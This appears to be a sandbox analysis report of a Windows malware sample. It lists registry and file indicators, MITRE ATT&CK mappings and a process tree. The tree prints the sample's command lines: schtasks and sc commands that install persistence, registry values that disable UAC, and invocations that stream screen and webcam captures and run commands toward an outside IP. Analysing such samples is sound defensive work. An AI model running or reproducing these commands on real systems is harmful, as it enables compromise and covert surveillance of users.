cd92ea3b0110ad32503979c133686a98186fcc5fb63dcb477ab8bf9c397eb318

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Roaming\\WindowsInputService\\inputsvc.exe"	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

UAC bypass 3 TTPs 4 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	inputsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	inputsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsHostService.exe	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsHostService.exe	inputsvc.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
4124	inputsvc.exe
1880	inputsvc.exe
3564	inputsvc.exe
4284	inputsvc.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHostService = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsInputService\\inputsvc.exe"	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WindowsHostService = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsInputService\\inputsvc.exe"	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHostService = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsInputService\\inputsvc.exe"	inputsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHostService = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsInputService\\inputsvc.exe"	inputsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WindowsHostService = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsInputService\\inputsvc.exe"	inputsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHostService = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsInputService\\inputsvc.exe"	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	inputsvc.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4780	sc.exe
3408	sc.exe
1752	sc.exe
2616	sc.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4432	cmd.exe
3572	cmd.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	inputsvc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	inputsvc.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
968	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2370214745-1838013427-2987045292-1000\{BC8EC9C9-8B61-4CA5-BA93-CDB09F8D8CE4}	inputsvc.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2370214745-1838013427-2987045292-1000\{9891A5C2-E211-4CBF-A705-43444F4A39BF}	inputsvc.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2370214745-1838013427-2987045292-1000\{C925F048-5620-4989-9CA4-5697228062A5}	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2370214745-1838013427-2987045292-1000\{11C17895-A656-401F-A7B1-B836D165DD8F}	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4240	schtasks.exe
4144	schtasks.exe
4980	schtasks.exe
4376	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1388	explorer.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3492	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3492	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1388	explorer.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	968	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1388	explorer.exe
1388	explorer.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3492 wrote to memory of 4144	3492	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	94
PID 3492 wrote to memory of 4980	3492	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	97
PID 3492 wrote to memory of 4780	3492	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	99
PID 3492 wrote to memory of 3408	3492	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	102
PID 3492 wrote to memory of 3796	3492	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	104
PID 3492 wrote to memory of 1300	3492	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	105
PID 4124 wrote to memory of 4432	4124	inputsvc.exe	111
PID 4432 wrote to memory of 3712	4432	cmd.exe	113
PID 4432 wrote to memory of 1188	4432	cmd.exe	114
PID 4124 wrote to memory of 4376	4124	inputsvc.exe	115
PID 4124 wrote to memory of 4240	4124	inputsvc.exe	117
PID 4124 wrote to memory of 1752	4124	inputsvc.exe	119
PID 4124 wrote to memory of 2616	4124	inputsvc.exe	121
PID 4124 wrote to memory of 1880	4124	inputsvc.exe	123
PID 4124 wrote to memory of 3564	4124	inputsvc.exe	124
PID 4124 wrote to memory of 4284	4124	inputsvc.exe	125
PID 4284 wrote to memory of 3572	4284	inputsvc.exe	126
PID 3572 wrote to memory of 1628	3572	cmd.exe	128
PID 3572 wrote to memory of 968	3572	cmd.exe	129

System policy modification 1 TTPs 4 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	inputsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	inputsvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Creates a file in the Startup directory
- Adds Run key to start application
- Checks whether UAC is enabled
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3492
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /tn "WindowsHostService" /tr "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONLOGON /rl HIGHEST /f 2>nul
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4144
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /tn "WindowsHostService_boot" /tr "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONSTART /rl HIGHEST /f 2>nul
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4980
- C:\Windows\SYSTEM32\sc.exe
  sc create "WindowsHostService" binPath= "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" start= auto 2>nul
  2⤵
  - Launches sc.exe
  PID:4780
- C:\Windows\SYSTEM32\sc.exe
  sc start "WindowsHostService" 2>nul
  2⤵
  - Launches sc.exe
  PID:3408
- C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe" -screen 161.104.47.223 4445 Admin-Ocpzfhhi-3492 5 50
  2⤵
  PID:3796
- C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe" -camera 161.104.47.223 4447 Admin-Ocpzfhhi-3492 0 15 5
  2⤵
  - Modifies registry class
  PID:1300

C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
1⤵
- UAC bypass
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4124
- C:\Windows\system32\cmd.exe
  cmd /c "tar -xf "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\ffmpeg_dl.zip" -C "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract" 2>nul & for /d %d in ("C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract\ffmpeg-*") do if exist "%d\bin" xcopy /s /y /q "%d\bin\*" "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\" >nul 2>nul & rd /s /q "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract" 2>nul & del /q "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\ffmpeg_dl.zip" 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\system32\tar.exe
    tar -xf "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\ffmpeg_dl.zip" -C "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract"
    3⤵
    PID:3712
- - C:\Windows\system32\xcopy.exe
    xcopy /s /y /q "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract\ffmpeg-8.1.2-essentials_build\bin\*" "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\"
    3⤵
    PID:1188
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WindowsHostService" /tr "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONLOGON /rl HIGHEST /f 2>nul
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4376
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WindowsHostService_boot" /tr "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONSTART /rl HIGHEST /f 2>nul
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4240
- C:\Windows\system32\sc.exe
  sc create "WindowsHostService" binPath= "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" start= auto 2>nul
  2⤵
  - Launches sc.exe
  PID:1752
- C:\Windows\system32\sc.exe
  sc start "WindowsHostService" 2>nul
  2⤵
  - Launches sc.exe
  PID:2616
- C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
  "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" -screen 161.104.47.223 4445 Admin-Ocpzfhhi-4124 5 50
  2⤵
  - Executes dropped EXE
  PID:1880
- C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
  "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" -camera 161.104.47.223 4447 Admin-Ocpzfhhi-4124 0 15 5
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  PID:3564
- C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
  "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" -exec 161.104.47.223 4444 Admin-Ocpzfhhi-4124 taskkill /f /t /im svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\system32\cmd.exe
    cmd.exe /c chcp 65001 >nul & taskkill /f /t /im svchost.exe 2>&1
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3572
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:1628
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /t /im svchost.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:968

C:\Windows\explorer.exe
explorer.exe ,C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
1⤵
PID:456

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:1388

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:4144

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry